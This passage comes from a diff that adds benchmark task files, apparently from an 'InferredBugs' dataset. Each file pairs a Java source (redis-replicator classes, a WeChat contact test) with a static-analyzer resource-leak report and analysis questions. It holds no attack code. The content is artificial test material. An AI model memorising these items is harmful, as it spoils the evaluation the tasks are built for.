+        List<Department> departments = Departments.defaultDepartments().list();
+
+        File tmpDir = Files.createTempDir();
+        File groups = new File(tmpDir, "departments.csv");
+
+        try {
+            PrintWriter groupPrintWriter = new PrintWriter(new BufferedWriter(new FileWriter(groups, false)));
+            groupPrintWriter.append("部门名称,部门ID,父部门ID,排序").append("\n");
+
+            for (Department department : departments) {
+                groupPrintWriter.append(csv(department));
+            }
+            groupPrintWriter.close();
+
+            String job = Jobs.defaultJobs().replaceDepartments(groups);
+            while (true) {
+                JobResult jobResult = Jobs.defaultJobs().getResult(job);
+                if (3 == jobResult.getStatus()) {
+                    if (100 == jobResult.getPercentage()) {
+                        Assert.assertTrue(true);
+                    }
+                    break;
+                } else {
+                    System.out.println("正在同步:" + jobResult.getPercentage());
+                    sleep(100);
+                }
+            }
+        } catch(Exception e) {
+            e.printStackTrace();
+            Assert.fail("test failed.");
+        } finally {
+            try {
+                FileUtils.forceDelete(tmpDir);
+            } catch (IOException e) {
+            }
+        }
+    }
+
+    private void sleep(long time) {
+        try {
+            Thread.sleep(time);
+        } catch (InterruptedException e) {
+        }
+    }
+
+    @Test
+    public void testReplaceUsers(){
+        List<ReadUser> allUsers = Users.defaultUsers().list();
+
+        File tmpDir = Files.createTempDir();
+        File users = new File(tmpDir, "users.csv");
+
+        try {
+            PrintWriter userPrintWriter = new PrintWriter(new BufferedWriter(new FileWriter(users, false)));
+            userPrintWriter.append("姓名,帐号,微信号,手机号,邮箱,所在部门,职位").append("\n");
+
+            for(ReadUser user: allUsers) {
+                CreateUser createUser = new CreateUser();
+                createUser.setName(user.getName());
+                createUser.setMobile(user.getMobile());
+                createUser.setUserId(user.getUserId());
+                createUser.setPosition(user.getPosition());
+                createUser.setWeixinId(user.getWeixinId());
+                createUser.setDepartment(user.getDepartment());
+                createUser.setEmail(user.getEmail());
+                userPrintWriter.append(csv(createUser));
+            }
+
+            userPrintWriter.close();
+
+            String job = Jobs.defaultJobs().replaceUsers(users);
+            while (true) {
+                JobResult jobResult = Jobs.defaultJobs().getResult(job);
+                if (3 == jobResult.getStatus()) {
+                    if (100 == jobResult.getPercentage()) {
+                        Assert.assertTrue(true);
+                    }
+                    break;
+                } else {
+                    System.out.println("正在同步:" + jobResult.getPercentage());
+                    sleep(10);
+                }
+            }
+        } catch(Exception e) {
+            e.printStackTrace();
+            Assert.fail("test failed.");
+        } finally {
+            try {
+                FileUtils.forceDelete(tmpDir);
+            } catch (IOException e) {
+            }
+        }
+    }
+
+    private String csv(CreateUser user) throws JsonProcessingException {
+        csvMapper.enable(JsonGenerator.Feature.IGNORE_UNKNOWN);
+        return csvMapper.writerFor(CreateUser.class).with(USER_SCHEMA).writeValueAsString(user);
+    }
+
+    public String csv(Department department) throws JsonProcessingException {
+        csvMapper.enable(JsonGenerator.Feature.IGNORE_UNKNOWN);
+        return csvMapper.writerFor(Department.class).with(DEPARTMENT_SCHEMA).writeValueAsString(department);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PrintWriter` acquired to `groupPrintWriter` by call to `new()` at line 62 is not released after line 83.
+**Note**: potential exception at line 63
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JobsTest.testReplaceDepartments()
+
+### Procedure Id:
+com.riversoft.weixin.contact.JobsTest.testReplaceDepartments():void.b33ed01f7c536c9bc7e3db23eea033d0
+
+### File:
+weixin-qydev/src/test/java/com/riversoft/weixin/contact/JobsTest.java
+
+### Key:
+JobsTest.java|testReplaceDepartments|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+bed9e3d8e9530080d9ef9e3603d2bbbc
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5480/instruction.md b/inferredbugs-5480/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a1f8c5806dc46de5dd7f9630441682a2de4feada
--- /dev/null
+++ b/inferredbugs-5480/instruction.md
@@ -0,0 +1,642 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** redis-replicator
+**Bug ID:** 35
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2016 leon chen
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.moilioncircle.redis.replicator.rdb;
+
+import com.moilioncircle.redis.replicator.Replicator;
+import com.moilioncircle.redis.replicator.event.Event;
+import com.moilioncircle.redis.replicator.io.ByteArrayInputStream;
+import com.moilioncircle.redis.replicator.io.RedisInputStream;
+import com.moilioncircle.redis.replicator.rdb.datatype.*;
+import com.moilioncircle.redis.replicator.rdb.module.ModuleParser;
+import com.moilioncircle.redis.replicator.util.ByteArray;
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+
+import java.io.IOException;
+import java.util.*;
+
+import static com.moilioncircle.redis.replicator.Constants.*;
+
+/**
+ * @author Leon Chen
+ * @since 2.1.0
+ */
+public class DefaultRdbVisitor extends RdbVisitor {
+
+    protected static final Log logger = LogFactory.getLog(DefaultRdbVisitor.class);
+
+    protected final Replicator replicator;
+
+    public DefaultRdbVisitor(final Replicator replicator) {
+        this.replicator = replicator;
+    }
+
+    @Override
+    public String applyMagic(RedisInputStream in) throws IOException {
+        String magicString = BaseRdbParser.StringHelper.str(in, 5);//REDIS
+        if (!magicString.equals("REDIS")) {
+            throw new UnsupportedOperationException("can't read MAGIC STRING [REDIS] ,value:" + magicString);
+        }
+        return magicString;
+    }
+
+    @Override
+    public int applyVersion(RedisInputStream in) throws IOException {
+        int version = Integer.parseInt(BaseRdbParser.StringHelper.str(in, 4));
+        if (version < 2 || version > 8) {
+            throw new UnsupportedOperationException(String.valueOf("can't handle RDB format version " + version));
+        }
+        return version;
+    }
+
+    @Override
+    public int applyType(RedisInputStream in) throws IOException {
+        return in.read();
+    }
+
+    @Override
+    public DB applySelectDB(RedisInputStream in, int version) throws IOException {
+        /*
+         * ----------------------------
+         * FE $length-encoding         # Previous db ends, next db starts. Database number read using length encoding.
+         * ----------------------------
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        long dbNumber = parser.rdbLoadLen().len;
+        return new DB(dbNumber);
+    }
+
+    @Override
+    public DB applyResizeDB(RedisInputStream in, DB db, int version) throws IOException {
+        BaseRdbParser parser = new BaseRdbParser(in);
+        long dbsize = parser.rdbLoadLen().len;
+        long expiresSize = parser.rdbLoadLen().len;
+        if (db != null) db.setDbsize(dbsize);
+        if (db != null) db.setExpires(expiresSize);
+        return db;
+    }
+
+    @Override
+    public long applyEof(RedisInputStream in, int version) throws IOException {
+        /*
+         * ----------------------------
+         * ...                         # Key value pairs for this database, additonal database
+         * FF                          ## End of RDB file indicator
+         * 8 byte checksum             ## CRC 64 checksum of the entire file.
+         * ----------------------------
+         */
+        if (version >= 5) return in.readLong(8);
+        return 0L;
+    }
+
+    @Override
+    public Event applyExpireTime(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * ----------------------------
+         * FD $unsigned int            # FD indicates "expiry time in seconds". After that, expiry time is read as a 4 byte unsigned int
+         * $value-type                 # 1 byte flag indicating the type of value - set, map, sorted set etc.
+         * $string-encoded-name         # The name, encoded as a redis string
+         * $encoded-value              # The value. Encoding depends on $value-type
+         * ----------------------------
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        int expiredSec = parser.rdbLoadTime();
+        int valueType = applyType(in);
+        KeyValuePair kv = rdbLoadObject(in, db, valueType, version);
+        kv.setExpiredType(ExpiredType.SECOND);
+        kv.setExpiredValue((long) expiredSec);
+        return kv;
+    }
+
+    @Override
+    public Event applyExpireTimeMs(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * ----------------------------
+         * FC $unsigned long           # FC indicates "expiry time in ms". After that, expiry time is read as a 8 byte unsigned long
+         * $value-type                 # 1 byte flag indicating the type of value - set, map, sorted set etc.
+         * $string-encoded-name         # The name, encoded as a redis string
+         * $encoded-value              # The value. Encoding depends on $value-type
+         * ----------------------------
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        long expiredMs = parser.rdbLoadMillisecondTime();
+        int valueType = applyType(in);
+        KeyValuePair kv = rdbLoadObject(in, db, valueType, version);
+        kv.setExpiredType(ExpiredType.MS);
+        kv.setExpiredValue(expiredMs);
+        return kv;
+    }
+
+    @Override
+    public Event applyAux(RedisInputStream in, int version) throws IOException {
+        BaseRdbParser parser = new BaseRdbParser(in);
+        String auxKey = parser.rdbLoadEncodedStringObject().string;
+        String auxValue = parser.rdbLoadEncodedStringObject().string;
+        if (!auxKey.startsWith("%")) {
+            if (logger.isInfoEnabled()) {
+                logger.info("RDB " + auxKey + ": " + auxValue);
+            }
+            return new AuxField(auxKey, auxValue);
+        } else {
+            if (logger.isWarnEnabled()) {
+                logger.warn("unrecognized RDB AUX field: " + auxKey + ", value: " + auxValue);
+            }
+            return null;
+        }
+    }
+
+    @Override
+    public Event applyString(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |       <content>       |
+         * |    string contents    |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueString o0 = new KeyStringValueString();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        BaseRdbParser.EncodedString val = parser.rdbLoadEncodedStringObject();
+        o0.setValueRdbType(RDB_TYPE_STRING);
+        o0.setValue(val.string);
+        o0.setRawBytes(val.rawBytes);
+        o0.setDb(db);
+        o0.setKey(key);
+        return o0;
+    }
+
+    @Override
+    public Event applyList(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |    <len>     |       <content>       |
+         * | 1 or 5 bytes |    string contents    |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueList o1 = new KeyStringValueList();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        long len = parser.rdbLoadLen().len;
+        List<String> list = new ArrayList<>();
+        for (int i = 0; i < len; i++) {
+            String element = parser.rdbLoadEncodedStringObject().string;
+            list.add(element);
+        }
+        o1.setValueRdbType(RDB_TYPE_LIST);
+        o1.setValue(list);
+        o1.setDb(db);
+        o1.setKey(key);
+        return o1;
+    }
+
+    @Override
+    public Event applySet(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |    <len>     |       <content>       |
+         * | 1 or 5 bytes |    string contents    |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueSet o2 = new KeyStringValueSet();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        long len = parser.rdbLoadLen().len;
+        Set<String> set = new LinkedHashSet<>();
+        for (int i = 0; i < len; i++) {
+            String element = parser.rdbLoadEncodedStringObject().string;
+            set.add(element);
+        }
+        o2.setValueRdbType(RDB_TYPE_SET);
+        o2.setValue(set);
+        o2.setDb(db);
+        o2.setKey(key);
+        return o2;
+    }
+
+    @Override
+    public Event applyZSet(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |    <len>     |       <content>       |        <score>       |
+         * | 1 or 5 bytes |    string contents    |    double content    |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueZSet o3 = new KeyStringValueZSet();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        long len = parser.rdbLoadLen().len;
+        Set<ZSetEntry> zset = new LinkedHashSet<>();
+        while (len > 0) {
+            String element = parser.rdbLoadEncodedStringObject().string;
+            double score = parser.rdbLoadDoubleValue();
+            zset.add(new ZSetEntry(element, score));
+            len--;
+        }
+        o3.setValueRdbType(RDB_TYPE_ZSET);
+        o3.setValue(zset);
+        o3.setDb(db);
+        o3.setKey(key);
+        return o3;
+    }
+
+    @Override
+    public Event applyZSet2(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |    <len>     |       <content>       |        <score>       |
+         * | 1 or 5 bytes |    string contents    |    binary double     |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueZSet o5 = new KeyStringValueZSet();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        /* rdb version 8*/
+        long len = parser.rdbLoadLen().len;
+        Set<ZSetEntry> zset = new LinkedHashSet<>();
+        while (len > 0) {
+            String element = parser.rdbLoadEncodedStringObject().string;
+            double score = parser.rdbLoadBinaryDoubleValue();
+            zset.add(new ZSetEntry(element, score));
+            len--;
+        }
+        o5.setValueRdbType(RDB_TYPE_ZSET_2);
+        o5.setValue(zset);
+        o5.setDb(db);
+        o5.setKey(key);
+        return o5;
+    }
+
+    @Override
+    public Event applyHash(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |    <len>     |       <content>       |
+         * | 1 or 5 bytes |    string contents    |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueHash o4 = new KeyStringValueHash();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        long len = parser.rdbLoadLen().len;
+        Map<String, String> map = new LinkedHashMap<>();
+        while (len > 0) {
+            String field = parser.rdbLoadEncodedStringObject().string;
+            String value = parser.rdbLoadEncodedStringObject().string;
+            map.put(field, value);
+            len--;
+        }
+        o4.setValueRdbType(RDB_TYPE_HASH);
+        o4.setValue(map);
+        o4.setDb(db);
+        o4.setKey(key);
+        return o4;
+    }
+
+    @Override
+    public Event applyHashZipMap(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |<zmlen> |   <len>     |"foo"    |    <len>   | <free> |   "bar" |<zmend> |
+         * | 1 byte | 1 or 5 byte | content |1 or 5 byte | 1 byte | content | 1 byte |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueHash o9 = new KeyStringValueHash();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        ByteArray aux = parser.rdbLoadPlainStringObject();
+        RedisInputStream stream = new RedisInputStream(new ByteArrayInputStream(aux));
+        Map<String, String> map = new LinkedHashMap<>();
+        int zmlen = BaseRdbParser.LenHelper.zmlen(stream);
+        while (true) {
+            int zmEleLen = BaseRdbParser.LenHelper.zmElementLen(stream);
+            if (zmEleLen == 255) {
+                o9.setValueRdbType(RDB_TYPE_HASH_ZIPMAP);
+                o9.setValue(map);
+                o9.setDb(db);
+                o9.setKey(key);
+                return o9;
+            }
+            String field = BaseRdbParser.StringHelper.str(stream, zmEleLen);
+            zmEleLen = BaseRdbParser.LenHelper.zmElementLen(stream);
+            if (zmEleLen == 255) {
+                o9.setValueRdbType(RDB_TYPE_HASH_ZIPMAP);
+                o9.setValue(map);
+                o9.setDb(db);
+                o9.setKey(key);
+                return o9;
+            }
+            int free = BaseRdbParser.LenHelper.free(stream);
+            String value = BaseRdbParser.StringHelper.str(stream, zmEleLen);
+            BaseRdbParser.StringHelper.skip(stream, free);
+            map.put(field, value);
+        }
+    }
+
+    @Override
+    public Event applyListZipList(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |<zlbytes>| <zltail>| <zllen>| <entry> ...<entry> | <zlend>|
+         * | 4 bytes | 4 bytes | 2bytes | zipListEntry ...   | 1byte  |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueList o10 = new KeyStringValueList();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        ByteArray aux = parser.rdbLoadPlainStringObject();
+        RedisInputStream stream = new RedisInputStream(new ByteArrayInputStream(aux));
+
+        List<String> list = new ArrayList<>();
+        int zlbytes = BaseRdbParser.LenHelper.zlbytes(stream);
+        int zltail = BaseRdbParser.LenHelper.zltail(stream);
+        int zllen = BaseRdbParser.LenHelper.zllen(stream);
+        for (int i = 0; i < zllen; i++) {
+            list.add(BaseRdbParser.StringHelper.zipListEntry(stream));
+        }
+        int zlend = BaseRdbParser.LenHelper.zlend(stream);
+        if (zlend != 255) {
+            throw new AssertionError("zlend expect 255 but " + zlend);
+        }
+        o10.setValueRdbType(RDB_TYPE_LIST_ZIPLIST);
+        o10.setValue(list);
+        o10.setDb(db);
+        o10.setKey(key);
+        return o10;
+    }
+
+    @Override
+    public Event applySetIntSet(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |<encoding>| <length-of-contents>|              <contents>                           |
+         * | 4 bytes  |            4 bytes  | 2 bytes lement| 4 bytes element | 8 bytes element |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueSet o11 = new KeyStringValueSet();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        ByteArray aux = parser.rdbLoadPlainStringObject();
+        RedisInputStream stream = new RedisInputStream(new ByteArrayInputStream(aux));
+
+        Set<String> set = new LinkedHashSet<>();
+        int encoding = BaseRdbParser.LenHelper.encoding(stream);
+        long lenOfContent = BaseRdbParser.LenHelper.lenOfContent(stream);
+        for (long i = 0; i < lenOfContent; i++) {
+            switch (encoding) {
+                case 2:
+                    set.add(String.valueOf(stream.readInt(2)));
+                    break;
+                case 4:
+                    set.add(String.valueOf(stream.readInt(4)));
+                    break;
+                case 8:
+                    set.add(String.valueOf(stream.readLong(8)));
+                    break;
+                default:
+                    throw new AssertionError("expect encoding [2,4,8] but:" + encoding);
+            }
+        }
+        o11.setValueRdbType(RDB_TYPE_SET_INTSET);
+        o11.setValue(set);
+        o11.setDb(db);
+        o11.setKey(key);
+        return o11;
+    }
+
+    @Override
+    public Event applyZSetZipList(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |<zlbytes>| <zltail>| <zllen>| <entry> ...<entry> | <zlend>|
+         * | 4 bytes | 4 bytes | 2bytes | zipListEntry ...   | 1byte  |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueZSet o12 = new KeyStringValueZSet();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        ByteArray aux = parser.rdbLoadPlainStringObject();
+        RedisInputStream stream = new RedisInputStream(new ByteArrayInputStream(aux));
+
+        Set<ZSetEntry> zset = new LinkedHashSet<>();
+        int zlbytes = BaseRdbParser.LenHelper.zlbytes(stream);
+        int zltail = BaseRdbParser.LenHelper.zltail(stream);
+        int zllen = BaseRdbParser.LenHelper.zllen(stream);
+        while (zllen > 0) {
+            String element = BaseRdbParser.StringHelper.zipListEntry(stream);
+            zllen--;
+            double score = Double.valueOf(BaseRdbParser.StringHelper.zipListEntry(stream));
+            zllen--;
+            zset.add(new ZSetEntry(element, score));
+        }
+        int zlend = BaseRdbParser.LenHelper.zlend(stream);
+        if (zlend != 255) {
+            throw new AssertionError("zlend expect 255 but " + zlend);
+        }
+        o12.setValueRdbType(RDB_TYPE_ZSET_ZIPLIST);
+        o12.setValue(zset);
+        o12.setDb(db);
+        o12.setKey(key);
+        return o12;
+    }
+
+    @Override
+    public Event applyHashZipList(RedisInputStream in, DB db, int version) throws IOException {
+        /*
+         * |<zlbytes>| <zltail>| <zllen>| <entry> ...<entry> | <zlend>|
+         * | 4 bytes | 4 bytes | 2bytes | zipListEntry ...   | 1byte  |
+         */
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueHash o13 = new KeyStringValueHash();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        ByteArray aux = parser.rdbLoadPlainStringObject();
+        RedisInputStream stream = new RedisInputStream(new ByteArrayInputStream(aux));
+
+        Map<String, String> map = new LinkedHashMap<>();
+        int zlbytes = BaseRdbParser.LenHelper.zlbytes(stream);
+        int zltail = BaseRdbParser.LenHelper.zltail(stream);
+        int zllen = BaseRdbParser.LenHelper.zllen(stream);
+        while (zllen > 0) {
+            String field = BaseRdbParser.StringHelper.zipListEntry(stream);
+            zllen--;
+            String value = BaseRdbParser.StringHelper.zipListEntry(stream);
+            zllen--;
+            map.put(field, value);
+        }
+        int zlend = BaseRdbParser.LenHelper.zlend(stream);
+        if (zlend != 255) {
+            throw new AssertionError("zlend expect 255 but " + zlend);
+        }
+        o13.setValueRdbType(RDB_TYPE_HASH_ZIPLIST);
+        o13.setValue(map);
+        o13.setDb(db);
+        o13.setKey(key);
+        return o13;
+    }
+
+    @Override
+    public Event applyListQuickList(RedisInputStream in, DB db, int version) throws IOException {
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueList o14 = new KeyStringValueList();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        long len = parser.rdbLoadLen().len;
+        List<String> byteList = new ArrayList<>();
+        for (int i = 0; i < len; i++) {
+            ByteArray element = (ByteArray) parser.rdbGenericLoadStringObject(RDB_LOAD_NONE);
+            RedisInputStream stream = new RedisInputStream(new ByteArrayInputStream(element));
+
+            List<String> list = new ArrayList<>();
+            int zlbytes = BaseRdbParser.LenHelper.zlbytes(stream);
+            int zltail = BaseRdbParser.LenHelper.zltail(stream);
+            int zllen = BaseRdbParser.LenHelper.zllen(stream);
+            for (int j = 0; j < zllen; j++) {
+                list.add(BaseRdbParser.StringHelper.zipListEntry(stream));
+            }
+            int zlend = BaseRdbParser.LenHelper.zlend(stream);
+            if (zlend != 255) {
+                throw new AssertionError("zlend expect 255 but " + zlend);
+            }
+            byteList.addAll(list);
+        }
+        o14.setValueRdbType(RDB_TYPE_LIST_QUICKLIST);
+        o14.setValue(byteList);
+        o14.setDb(db);
+        o14.setKey(key);
+        return o14;
+    }
+
+    @Override
+    public Event applyModule(RedisInputStream in, DB db, int version) throws IOException {
+        //|6|6|6|6|6|6|6|6|6|10|
+        BaseRdbParser parser = new BaseRdbParser(in);
+        KeyStringValueModule o6 = new KeyStringValueModule();
+        String key = parser.rdbLoadEncodedStringObject().string;
+        char[] c = new char[9];
+        long moduleid = parser.rdbLoadLen().len;
+        for (int i = 0; i < c.length; i++) {
+            c[i] = MODULE_SET[(int) (moduleid >>> (10 + (c.length - 1 - i) * 6) & 63)];
+        }
+        String moduleName = new String(c);
+        int moduleVersion = (int) (moduleid & 1023);
+        ModuleParser<? extends Module> moduleParser = lookupModuleParser(moduleName, moduleVersion);
+        if (moduleParser == null) {
+            throw new NoSuchElementException("module[" + moduleName + "," + moduleVersion + "] not exist.");
+        }
+        o6.setValueRdbType(RDB_TYPE_MODULE);
+        o6.setValue(moduleParser.parse(in));
+        o6.setDb(db);
+        o6.setKey(key);
+        return o6;
+    }
+
+    protected ModuleParser<? extends Module> lookupModuleParser(String moduleName, int moduleVersion) {
+        return replicator.getModuleParser(moduleName, moduleVersion);
+    }
+
+    protected KeyValuePair rdbLoadObject(RedisInputStream in, DB db, int valueType, int version) throws IOException {
+        /*
+         * ----------------------------
+         * $value-type                 # This name value pair doesn't have an expiry. $value_type guaranteed != to FD, FC, FE and FF
+         * $string-encoded-name
+         * $encoded-value
+         * ----------------------------
+         */
+        switch (valueType) {
+            case RDB_TYPE_STRING:
+                return (KeyValuePair) applyString(in, db, version);
+            case RDB_TYPE_LIST:
+                return (KeyValuePair) applyList(in, db, version);
+            case RDB_TYPE_SET:
+                return (KeyValuePair) applySet(in, db, version);
+            case RDB_TYPE_ZSET:
+                return (KeyValuePair) applyZSet(in, db, version);
+            case RDB_TYPE_ZSET_2:
+                return (KeyValuePair) applyZSet2(in, db, version);
+            case RDB_TYPE_HASH:
+                return (KeyValuePair) applyHash(in, db, version);
+            case RDB_TYPE_HASH_ZIPMAP:
+                return (KeyValuePair) applyHashZipMap(in, db, version);
+            case RDB_TYPE_LIST_ZIPLIST:
+                return (KeyValuePair) applyListZipList(in, db, version);
+            case RDB_TYPE_SET_INTSET:
+                return (KeyValuePair) applySetIntSet(in, db, version);
+            case RDB_TYPE_ZSET_ZIPLIST:
+                return (KeyValuePair) applyZSetZipList(in, db, version);
+            case RDB_TYPE_HASH_ZIPLIST:
+                return (KeyValuePair) applyHashZipList(in, db, version);
+            case RDB_TYPE_LIST_QUICKLIST:
+                return (KeyValuePair) applyListQuickList(in, db, version);
+            case RDB_TYPE_MODULE:
+                return (KeyValuePair) applyModule(in, db, version);
+            default:
+                throw new AssertionError("unexpected value type:" + valueType);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.moilioncircle.redis.replicator.io.RedisInputStream` acquired by call to `RedisInputStream(...)` at line 375 is not released after line 395.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Event DefaultRdbVisitor.applySetIntSet(RedisInputStream,DB,int)
+
+### Procedure Id:
+com.moilioncircle.redis.replicator.rdb.DefaultRdbVisitor.applySetIntSet(com.moilioncircle.redis.repl.c129aed67d37aa2cb5ec89a2718407ed
+
+### File:
+src/main/java/com/moilioncircle/redis/replicator/rdb/DefaultRdbVisitor.java
+
+### Key:
+DefaultRdbVisitor.java|applySetIntSet|RESOURCE_LEAK
+
+### Node Key:
+6c789a651366dd1a2057a64f140f2954
+
+### Hash:
+de8cb59bbd1d4987ecbe0a7c7f15f6e2
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5481/instruction.md b/inferredbugs-5481/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ef649fc0b542ecf599aab7de97e01dae3f470d7a
--- /dev/null
+++ b/inferredbugs-5481/instruction.md
@@ -0,0 +1,144 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** redis-replicator
+**Bug ID:** 51
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2016-2017 Leon Chen
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.moilioncircle.examples.huge;
+
+import com.moilioncircle.redis.replicator.Configuration;
+import com.moilioncircle.redis.replicator.FileType;
+import com.moilioncircle.redis.replicator.RedisReplicator;
+import com.moilioncircle.redis.replicator.Replicator;
+import com.moilioncircle.redis.replicator.rdb.datatype.Module;
+import com.moilioncircle.redis.replicator.rdb.datatype.ZSetEntry;
+import com.moilioncircle.redis.replicator.rdb.iterable.ValueIterableRdbVisitor;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * @author Leon Chen
+ * @since 2.5.0
+ */
+@SuppressWarnings("resource")
+public class HugeKVFileExample {
+
+    public static void main(String[] args) throws IOException {
+        Replicator r = new RedisReplicator(new File("./src/test/resources/dumpV7.rdb"), FileType.RDB, Configuration.defaultSetting());
+        r.setRdbVisitor(new ValueIterableRdbVisitor(r));
+        r.addRdbListener(new HugeKVRdbListener(200) {
+            @Override
+            public void handleString(boolean last, byte[] key, byte[] value, int type) {
+                // your business code goes here.
+            }
+
+            @Override
+            public void handleModule(boolean last, byte[] key, Module value, int type) {
+                // your business code goes here.
+            }
+
+            @Override
+            public void handleList(boolean last, byte[] key, List<byte[]> list, int type) {
+                // your business code goes here.
+            }
+
+            @Override
+            public void handleZSetEntry(boolean last, byte[] key, List<ZSetEntry> list, int type) {
+                // your business code goes here.
+            }
+
+            @Override
+            public void handleMap(boolean last, byte[] key, List<Map.Entry<byte[], byte[]>> list, int type) {
+                // your business code goes here.
+            }
+        });
+        r.open();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `RedisReplicator(...)` at line 40 is not released after line 68.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void HugeKVFileExample.main(java.lang.String[])
+
+### Procedure Id:
+com.moilioncircle.examples.huge.HugeKVFileExample.main(java.lang.String[]):void.5440fd116f79fa2c250e778a4092b8d1
+
+### File:
+examples/com/moilioncircle/examples/huge/HugeKVFileExample.java
+
+### Key:
+HugeKVFileExample.java|main|RESOURCE_LEAK
+
+### Node Key:
+b0ed25eec6c25e7c4348974d51cf6b89
+
+### Hash:
+ad77e3982f8f458d4f672bcaaf1f3b25
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
